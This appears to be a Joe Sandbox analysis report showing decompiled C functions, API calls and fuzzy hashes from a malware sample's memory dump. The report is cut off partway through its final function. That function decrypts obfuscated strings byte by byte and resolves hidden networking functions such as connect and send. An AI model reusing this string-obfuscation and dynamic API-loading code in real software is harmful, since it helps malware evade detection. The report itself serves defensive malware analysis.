Opcode Fuzzy Hash: d510ec59f7870d519bf324aab472407a7ecdcd160f1fdcfa20edfd7c1420eeda
Instruction Fuzzy Hash: 74315E7610C3845BD321AB29A494BEBFBE9AFD6218F288DBDD5C4C3243D6718409CB57

Uniqueness

Uniqueness Score: -1.00%

Function 004122F0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 52
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004122F0(void* __esi) {
				intOrPtr _v4;
				char _v264;
				long _v268;
				void _v272;
				intOrPtr _t12;
				void* _t15;
				void* _t31;

				_t12 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t12;
				GetModuleFileNameA(0,  &_v264, 0x104);
				_t15 = CreateFileA( &_v264, 0x80000000, 3, 0, 3, 0, 0); // executed
				_t31 = _t15;
				if(_t31 != 0xffffffff) {
					SetFilePointer(_t31, 0xfffffffc, 0, 2); // executed
					_v272 = 0;
					ReadFile(_t31,  &_v272, 4,  &_v268, 0); // executed
					CloseHandle(_t31);
					return E00424873(0 | _v272 == 0xffeeffee, _v4);
				} else {
					return E00424873(0, _v4);
				}
			}

0x004122f6
0x004122fc
0x0041230f
0x00412329
0x0041232f
0x00412334
0x00412353
0x00412368
0x00412370
0x00412377
0x0041239f
0x00412336
0x0041234b
0x0041234b

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 0041230F
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00412329
SetFilePointer.KERNELBASE(00000000,000000FC,00000000,00000002), ref: 00412353
ReadFile.KERNELBASE ref: 00412370
CloseHandle.KERNEL32(00000000), ref: 00412377

Strings

G@,, xrefs: 004122F6

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: File$CloseCreateHandleModuleNamePointerRead
String ID: G@,
API String ID: 1352878660-3496681718
Opcode ID: 287adf819acc85caeaf54933d95270eb436911dfc7abba11b07640b1e6699bc0
Instruction ID: c542780b36d63bd1f74abcbd7efe17dbbb97c44db4b19d55b56e5dd6763cd24b
Opcode Fuzzy Hash: 287adf819acc85caeaf54933d95270eb436911dfc7abba11b07640b1e6699bc0
Instruction Fuzzy Hash: 0C11A171644360ABE324EB65EC46FEA33A8BB89710F800929F761961D0D7F45644CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0041EFA0, Relevance: 10.5, APIs: 7, Instructions: 41
serviceCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EFA0(char* _a4, char** _a8) {
				void* _t6;
				void* _t22;

				_t22 = OpenSCManagerA(0, 0, 0x80000000);
				if(_t22 != 0) {
					_t6 = OpenServiceA(_t22, _a4, 4); // executed
					if(_t6 != 0) {
						CloseServiceHandle(_t6);
						CloseServiceHandle(_t22);
						 *_a8 = 0;
						return 1;
					} else {
						 *_a8 = GetLastError();
						CloseServiceHandle(_t22);
						return 0;
					}
				} else {
					 *_a8 = GetLastError();
					return 0;
				}
			}

0x0041efb0
0x0041efb4
0x0041efd0
0x0041efd8
0x0041effb
0x0041effe
0x0041f005
0x0041f011
0x0041efda
0x0041efe5
0x0041efe7
0x0041eff0
0x0041eff0
0x0041efb6
0x0041efc0
0x0041efc5
0x0041efc5

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000,00431C98,0042051B,?,00431CEC), ref: 0041EFAA
GetLastError.KERNEL32 ref: 0041EFB6
OpenServiceA.ADVAPI32(00000000,000000EF,00000004), ref: 0041EFD0
GetLastError.KERNEL32 ref: 0041EFDA
CloseServiceHandle.ADVAPI32(00000000), ref: 0041EFE7

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID:
API String ID: 48634454-0
Opcode ID: 3f7bc6f18e424998c14db061a0019771ee9b78516ee7a0c5797ab8af1a1bb4e5
Instruction ID: 89dee9bad4ab5eec4a1989d4adc2e41a6cfd6003cc042db67122dc7d02015971
Opcode Fuzzy Hash: 3f7bc6f18e424998c14db061a0019771ee9b78516ee7a0c5797ab8af1a1bb4e5
Instruction Fuzzy Hash: BEF03136205220AFD361AB66DC08F8BB7E4EFA5350F518426FA409B250C7B49843CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00429190, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 68%

			E00429190(int _a4) {
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;

				_t3 = GetModuleHandleA("mscoree.dll");
				if(_t3 != 0) {
					_t4 = GetProcAddress(_t3, "CorExitProcess");
					if(_t4 != 0) {
						 *_t4(_a4);
					}
				}
				ExitProcess(_a4);
			}

0x00429195
0x0042919d
0x004291a5
0x004291ad
0x004291b3
0x004291b3
0x004291ad
0x004291b9

APIs

GetModuleHandleA.KERNEL32(mscoree.dll,004292FE,?,0042EAB8,00000008,00429335,?,00000001,00000000,00426648,00000003), ref: 00429195
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004291A5
ExitProcess.KERNEL32 ref: 004291B9

Strings

CorExitProcess, xrefs: 0042919F
mscoree.dll, xrefs: 00429190

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 8c2fa50a3ec66fd577a0b8e8636169e5e6d711be195023716ce747e76f4f0db8
Instruction ID: 837725cd5bd8d62ceb7a805311689d2544094357cd19b3e86fc30850f48944c8
Opcode Fuzzy Hash: 8c2fa50a3ec66fd577a0b8e8636169e5e6d711be195023716ce747e76f4f0db8
Instruction Fuzzy Hash: BBD0E730344321EBE6111B73ED1D77B7A65BF41B41B944439B845D0160DB75CC21991D

Uniqueness

Uniqueness Score: -1.00%

Function 0041F100, Relevance: 7.5, APIs: 5, Instructions: 35
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E0041F100(void* __ecx, CHAR* _a4, int* _a8) {
				long _t8;
				void* _t21;

				_t2 = __ecx + 0x18c; // 0x431e18
				_t21 = CreateEventA( *_t2, 0, 0, _a4);
				if(_t21 != 0) {
					_t8 = WaitForSingleObject(_t21, 0x3e8);
					_push(_t21);
					if(_t8 != 0) {
						FindCloseChangeNotification(); // executed
						 *_a8 = 0;
						return 0;
					} else {
						CloseHandle();
						 *_a8 = 0;
						return 1; // executed
					}
				} else {
					 *_a8 = GetLastError();
					return 0;
				}
			}

0x0041f104
0x0041f117
0x0041f11b
0x0041f135
0x0041f13d
0x0041f13e
0x0041f159
0x0041f163
0x0041f16c
0x0041f140
0x0041f140
0x0041f14a
0x0041f156
0x0041f156
0x0041f11d
0x0041f127
0x0041f12c
0x0041f12c

APIs

CreateEventA.KERNEL32(00431E18,00000000,00000000,00431CAC,00431C98,0041FCDD,?,00431CAC,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F111
GetLastError.KERNEL32(?,?,?,?,?,00000001), ref: 0041F11D
WaitForSingleObject.KERNEL32(00000000,000003E8,?,?,?,?,?,00000001), ref: 0041F135
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 0041F140

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CloseCreateErrorEventHandleLastObjectSingleWait
String ID:
API String ID: 5396149-0
Opcode ID: 7fabdc887b76636cf33a9a3860f0f978fa08689d0529247d9dc893de2f94b650
Instruction ID: 41ec93761c571e6fbe91694ad29752271d04f397154ed630bd7477d7537eb11e
Opcode Fuzzy Hash: 7fabdc887b76636cf33a9a3860f0f978fa08689d0529247d9dc893de2f94b650
Instruction Fuzzy Hash: 1CF01D35344220AFD3619F65DC48BABB7A4EF56311F018836FD458B390CB74AC52CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0042AF1A, Relevance: 3.1, APIs: 2, Instructions: 59
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 76%

			E0042AF1A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t17;
				long _t23;
				long _t31;
				void* _t33;
				void* _t34;

				_push(0x10);
				_push(0x42ef98);
				E0042664C(__ebx, __edi, __esi);
				_t31 =  *(_t33 + 8) *  *(_t33 + 0xc);
				 *(_t33 - 0x20) = _t31;
				if(_t31 == 0) {
					_t31 = _t31 + 1;
				}
				do {
					_t28 = 0;
					 *(_t33 - 0x1c) = 0;
					if(_t31 > 0xffffffe0) {
						L9:
						if(_t28 != 0 ||  *0x43237c == _t28) {
							L13:
							_t15 = _t28;
							L14:
							return E00426687(_t15);
						} else {
							goto L11;
						}
					}
					if( *0x4338b8 != 3) {
						L7:
						if(_t28 != 0) {
							goto L13;
						}
						L8:
						_t17 = RtlAllocateHeap( *0x4338b4, 8, _t31); // executed
						_t28 = _t17;
						goto L9;
					}
					_t31 = _t31 + 0x0000000f & 0xfffffff0;
					 *(_t33 + 0xc) = _t31;
					_t23 =  *(_t33 - 0x20);
					if(_t23 >  *0x4338a4) {
						goto L7;
					}
					E0042758B(_t23, 0, 4);
					 *(_t33 - 4) =  *(_t33 - 4) & 0;
					_push(_t23);
					 *(_t33 - 0x1c) = E00428CE7();
					 *(_t33 - 4) =  *(_t33 - 4) | 0xffffffff;
					E0042AFC4();
					_t28 =  *(_t33 - 0x1c);
					if(_t28 == 0) {
						goto L8;
					}
					E00425F70(_t28, 0,  *(_t33 - 0x20));
					_t34 = _t34 + 0xc;
					goto L7;
					L11:
				} while (E004263C6(_t31) != 0);
				goto L14;
			}

0x0042af1a
0x0042af1c
0x0042af21
0x0042af29
0x0042af2d
0x0042af32
0x0042af34
0x0042af34
0x0042af35
0x0042af35
0x0042af37
0x0042af3d
0x0042afa4
0x0042afa6
0x0042afcd
0x0042afcd
0x0042afcf
0x0042afd4
0x00000000
0x00000000
0x00000000
0x0042afa6
0x0042af46
0x0042af8f
0x0042af91
0x00000000
0x00000000
0x0042af93
0x0042af9c
0x0042afa2
0x00000000
0x0042afa2
0x0042af4b
0x0042af4e
0x0042af51
0x0042af5a
0x00000000
0x00000000
0x0042af5e
0x0042af64
0x0042af67
0x0042af6e
0x0042af71
0x0042af75
0x0042af7a
0x0042af7f
0x00000000
0x00000000
0x0042af87
0x0042af8c
0x00000000
0x0042afb0
0x0042afb7
0x00000000

APIs

__lock.LIBCMT ref: 0042AF5E
RtlAllocateHeap.NTDLL(00000008,?,0042EF98,00000010,00426F90,00000001,0000008C,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A), ref: 0042AF9C

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AllocateHeap__lock
String ID:
API String ID: 4078605025-0
Opcode ID: bd24daad17681a19d2b014adf4f8bfe4562b9c33865ce1b7ebc598e034fb271d
Instruction ID: 287c9efcd211aeb55b69a7f4505186ca400c7f0f4e30738a009fff649b6f2cdc
Opcode Fuzzy Hash: bd24daad17681a19d2b014adf4f8bfe4562b9c33865ce1b7ebc598e034fb271d
Instruction Fuzzy Hash: A111B972B006359BCB21EB267E0169EB661AF50725F97011BFC14273D1D73C49518B5E

Uniqueness

Uniqueness Score: -1.00%

Function 0042630D, Relevance: 3.0, APIs: 2, Instructions: 34
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 61%

			E0042630D(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				long _t19;
				void* _t21;

				_push(0xc);
				_push(0x42e5a8);
				E0042664C(__ebx, __edi, __esi);
				_t19 =  *(_t21 + 8);
				if( *0x4338b8 != 3 || _t19 >  *0x4338a4) {
					L3:
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					if( *0x4338b8 != 1) {
						_t19 = _t19 + 0x0000000f & 0xfffffff0;
					}
					_t9 = RtlAllocateHeap( *0x4338b4, 0, _t19); // executed
				} else {
					E0042758B(__ebx, __edi, 4);
					 *(_t21 - 4) =  *(_t21 - 4) & 0x00000000;
					_push(_t19);
					 *(_t21 - 0x1c) = E00428CE7();
					 *(_t21 - 4) =  *(_t21 - 4) | 0xffffffff;
					E0042637F();
					_t9 =  *(_t21 - 0x1c);
					if( *(_t21 - 0x1c) == 0) {
						goto L3;
					}
				}
				return E00426687(_t9);
			}

0x0042630d
0x0042630f
0x00426314
0x00426319
0x00426323
0x00426353
0x00426355
0x00426357
0x00426357
0x0042635f
0x00426364
0x00426364
0x00426370
0x0042632d
0x0042632f
0x00426335
0x00426339
0x00426340
0x00426343
0x00426347
0x0042634c
0x00426351
0x00000000
0x00000000
0x00426351
0x0042637b

APIs

__lock.LIBCMT ref: 0042632F

Part of subcall function 0042758B: EnterCriticalSection.KERNEL32(?,?,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 004275B3

RtlAllocateHeap.NTDLL(00000000,?,0042E5A8,0000000C,00426398,000000E0,004263C3,?,0042750E,00000018,0042E878,00000008,004275A4,?,?), ref: 00426370

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AllocateCriticalEnterHeapSection__lock
String ID:
API String ID: 409319249-0
Opcode ID: 3a04cc8b361c076a0362b5c036726eecff50e13908a8c9e731f841f160eecbcf
Instruction ID: 8324cbe143142dc0cac62d77d3f6cf7a468de274990aa9f35782c1b63ab95c38
Opcode Fuzzy Hash: 3a04cc8b361c076a0362b5c036726eecff50e13908a8c9e731f841f160eecbcf
Instruction Fuzzy Hash: 56F0C832B01131A7EB24FB65BD0674E76A0AB00365FA6016AFC10672D1C73C1A81865C

Uniqueness

Uniqueness Score: -1.00%

Function 0042846F, Relevance: 3.0, APIs: 2, Instructions: 26
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042846F(intOrPtr _a4) {
				void* _t6;
				intOrPtr _t8;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4338b4 = _t6;
				if(_t6 == 0) {
					L4:
					return 0;
				} else {
					_t8 = E00428455();
					 *0x4338b8 = _t8;
					if(_t8 != 3 || E004284C0(0x3f8) != 0) {
						return 1;
					} else {
						HeapDestroy( *0x4338b4);
						goto L4;
					}
				}
			}

0x00428480
0x00428488
0x0042848d
0x004284b9
0x004284bb
0x0042848f
0x0042848f
0x00428497
0x0042849c
0x004284bf
0x004284ad
0x004284b3
0x00000000
0x004284b3
0x0042849c

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00425E5F,00000001,?,0042E598,00000060), ref: 00428480

Part of subcall function 004284C0: HeapAlloc.KERNEL32(00000000,00000140,004284A8,000003F8,?,0042E598,00000060), ref: 004284CD

HeapDestroy.KERNEL32(?,0042E598,00000060), ref: 004284B3

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$AllocCreateDestroy
String ID:
API String ID: 2236781399-0
Opcode ID: 6464811ea9addaf19c19e5f0393c9d87aba79a32682558a56be755e4c38de286
Instruction ID: 3fe268917fd00d31aa756ebf7d8a68b1e22f7c153431ead6360d70d6e1d70485
Opcode Fuzzy Hash: 6464811ea9addaf19c19e5f0393c9d87aba79a32682558a56be755e4c38de286
Instruction Fuzzy Hash: A7E01A70B562129BEB147F316D0672E7AE49B84747F84587EB400C61A0FE788A459609

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041C660, Relevance: 372.2, APIs: 33, Strings: 179, Instructions: 1203
libraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E0041C660() {
				intOrPtr _v4;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				intOrPtr _t911;
				signed int _t912;
				CHAR* _t916;
				_Unknown_base(*)()* _t917;
				_Unknown_base(*)()* _t918;
				_Unknown_base(*)()* _t921;
				CHAR* _t924;
				_Unknown_base(*)()* _t925;
				CHAR* _t927;
				_Unknown_base(*)()* _t928;
				_Unknown_base(*)()* _t929;
				_Unknown_base(*)()* _t931;
				void* _t932;
				_Unknown_base(*)()* _t934;
				_Unknown_base(*)()* _t935;
				void* _t936;
				_Unknown_base(*)()* _t938;
				void* _t939;
				_Unknown_base(*)()* _t940;
				void* _t941;
				_Unknown_base(*)()* _t943;
				CHAR* _t946;
				_Unknown_base(*)()* _t947;
				void* _t948;
				_Unknown_base(*)()* _t949;
				CHAR* _t951;
				_Unknown_base(*)()* _t952;
				void* _t953;
				_Unknown_base(*)()* _t954;
				CHAR* _t957;
				_Unknown_base(*)()* _t958;
				_Unknown_base(*)()* _t959;
				_Unknown_base(*)()* _t960;
				void* _t961;
				_Unknown_base(*)()* _t962;
				CHAR* _t964;
				signed int _t966;
				_Unknown_base(*)()* _t968;
				void* _t969;
				_Unknown_base(*)()* _t970;
				void* _t971;
				_Unknown_base(*)()* _t973;
				void* _t974;
				_Unknown_base(*)()* _t975;
				CHAR* _t978;
				_Unknown_base(*)()* _t979;
				void* _t980;
				_Unknown_base(*)()* _t983;
				_Unknown_base(*)()* _t986;
				_Unknown_base(*)()* _t992;
				_Unknown_base(*)()* _t994;
				struct HINSTANCE__* _t1096;
				struct HINSTANCE__* _t1097;
				struct HINSTANCE__* _t1098;
				struct HINSTANCE__* _t1099;
				void* _t1105;
				void* _t1106;
				void* _t1107;
				void* _t1108;
				void* _t1109;
				void* _t1110;
				void* _t1111;
				void* _t1112;
				void* _t1113;

				_t1105 =  &_v324;
				_t911 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t911;
				_v80 = 0x7f;
				_v79 = 0x52;
				_v78 = 0x2e;
				_v77 = 0x82;
				_v76 = 0xe0;
				_v75 = 0xc7;
				_v74 = 0x10;
				_v73 = 0xe8;
				_v72 = 0x81;
				_v71 = 0x64;
				_v70 = 0x40;
				_v244 = 0x28;
				_v243 = 1;
				_v242 = 0x1c;
				_v241 = 0xdd;
				_v240 = 0xd3;
				_v239 = 0xf5;
				_v238 = 0x3e;
				_v237 = 0xac;
				_v236 = 0xcd;
				_v235 = 0x28;
				_v234 = 0x40;
				_t912 = 0;
				do {
					 *(_t1105 + _t912 + 0x100) =  *(_t1105 + _t912 + 0x100) ^  *(_t1105 + _t912 + 0x5c);
					_t912 = _t912 + 1;
				} while (_t912 < 0xb);
				_t1096 = LoadLibraryA( &_v80);
				if(_t1096 != 0) {
					_push(0xb);
					_push( &_v176);
					_v176 = 0x1a;
					_v175 = 0xb4;
					_v174 = 0x19;
					_v173 = 0x46;
					_v172 = 0x94;
					_v171 = 0xcb;
					_v170 = 0x17;
					_v169 = 0x87;
					_v168 = 0xa;
					_v167 = 0x74;
					_v166 = 0x5a;
					_v324 = 0x5a;
					_v323 = 4;
					_v322 = 0x7f;
					_v321 = 0xf3;
					_v320 = 0x65;
					_v319 = 0xaa;
					_v318 = 0xe0;
					_v317 = 0x15;
					_v316 = 0x58;
					_v315 = 0xe7;
					_v314 = 0x4d;
					_t916 = E0041C580( &_v324);
					_t1106 = _t1105 + 8;
					_t917 = GetProcAddress(_t1096, _t916);
					 *0x431ea8 = _t917;
					if(_t917 != 0) {
						_v60 = 0x68;
						_v59 = 0x74;
						_v58 = 0x6f;
						_v57 = 0x6e;
						_v56 = 0x73;
						_v55 = 0;
						_t918 = GetProcAddress(_t1096,  &_v60);
						 *0x431eac = _t918;
						if(_t918 == 0) {
							goto L5;
						} else {
							_v188 = 0x69;
							_v187 = 0x6e;
							_v186 = 0x65;
							_v185 = 0x74;
							_v184 = 0x5f;
							_v183 = 0x61;
							_v182 = 0x64;
							_v181 = 0x64;
							_v180 = 0x72;
							_v179 = 0;
							_t921 = GetProcAddress(_t1096,  &_v188);
							 *0x431eb0 = _t921;
							if(_t921 == 0) {
								goto L5;
							} else {
								_v9 = 0x3f;
								_v322 = 0x3f;
								_v318 = 0x3f;
								_v20 = 0x1e;
								_v19 = 0x67;
								_v18 = 0xd0;
								_v17 = 0x54;
								_v16 = 0x95;
								_v15 = 0x10;
								_v14 = 0x43;
								_v13 = 0xd7;
								_v12 = 5;
								_v11 = 0x9e;
								_v10 = 0x14;
								_v8 = 0xed;
								_v7 = 0x20;
								_v324 = 0x3d;
								_v323 = 0x5a;
								_v321 = 0x4b;
								_v320 = 0x23;
								_v319 = 0x4c;
								_v317 = 0x4b;
								_v316 = 0x29;
								_v315 = 0x50;
								_v314 = 0x3e;
								_v313 = 0x5f;
								_v312 = 0x32;
								_v311 = 0x57;
								_t924 = E0041C4C0( &_v324, 0xe,  &_v20);
								_t1107 = _t1106 + 4;
								_t925 = GetProcAddress(_t1096, _t924);
								 *0x431eb4 = _t925;
								if(_t925 == 0) {
									goto L5;
								} else {
									_push(7);
									_push( &_v52);
									_v52 = 0x2e;
									_v51 = 0x1a;
									_v50 = 0x86;
									_v49 = 0xf6;
									_v48 = 0xe9;
									_v47 = 0xd4;
									_v46 = 0xe8;
									_v324 = 0xe8;
									_v323 = 0xa0;
									_v322 = 0x8c;
									_v321 = 0x9d;
									_v320 = 0xe5;
									_v319 = 0x75;
									_v318 = 0x5d;
									_t927 = E0041C580( &_v324);
									_t1108 = _t1107 + 8;
									_t928 = GetProcAddress(_t1096, _t927);
									 *0x431eb8 = _t928;
									if(_t928 == 0) {
										goto L5;
									} else {
										_v44 = 0x63;
										_v43 = 0x6f;
										_v42 = 0x6e;
										_v41 = 0x6e;
										_v40 = 0x65;
										_v39 = 0x63;
										_v38 = 0x74;
										_v37 = 0;
										_t929 = GetProcAddress(_t1096,  &_v44);
										 *0x431ebc = _t929;
										if(_t929 == 0) {
											goto L5;
										} else {
											_v68 = 0x73;
											_v67 = 0x65;
											_v66 = 0x6e;
											_v65 = 0x64;
											_v64 = 0;
											_t931 = GetProcAddress(_t1096,  &_v68);
											 *0x431ec0 = _t931;
											if(_t931 == 0) {
												goto L5;
											} else {
												_v232 = 0x42;
												_v231 = 0xf;
												_v230 = 0xc9;
												_v229 = 0x5b;
												_v228 = 0xb1;
												_v227 = 0x62;
												_v226 = 0x6e;
												_v225 = 0xf2;
												_v224 = 0xa9;
												_v223 = 0xc1;
												_v222 = 0xea;
												_v221 = 0xdf;
												_v324 = 0x21;
												_v323 = 0x5d;
												_v322 = 0xa6;
												_v321 = 0x18;
												_v320 = 0xb4;
												_v319 = 0x11;
												_v318 = 1;
												_v317 = 0x71;
												_v316 = 0xc2;
												_v315 = 0xa4;
												_v314 = 0x8a;
												_v313 = 0x21;
												_t932 = 0;
												do {
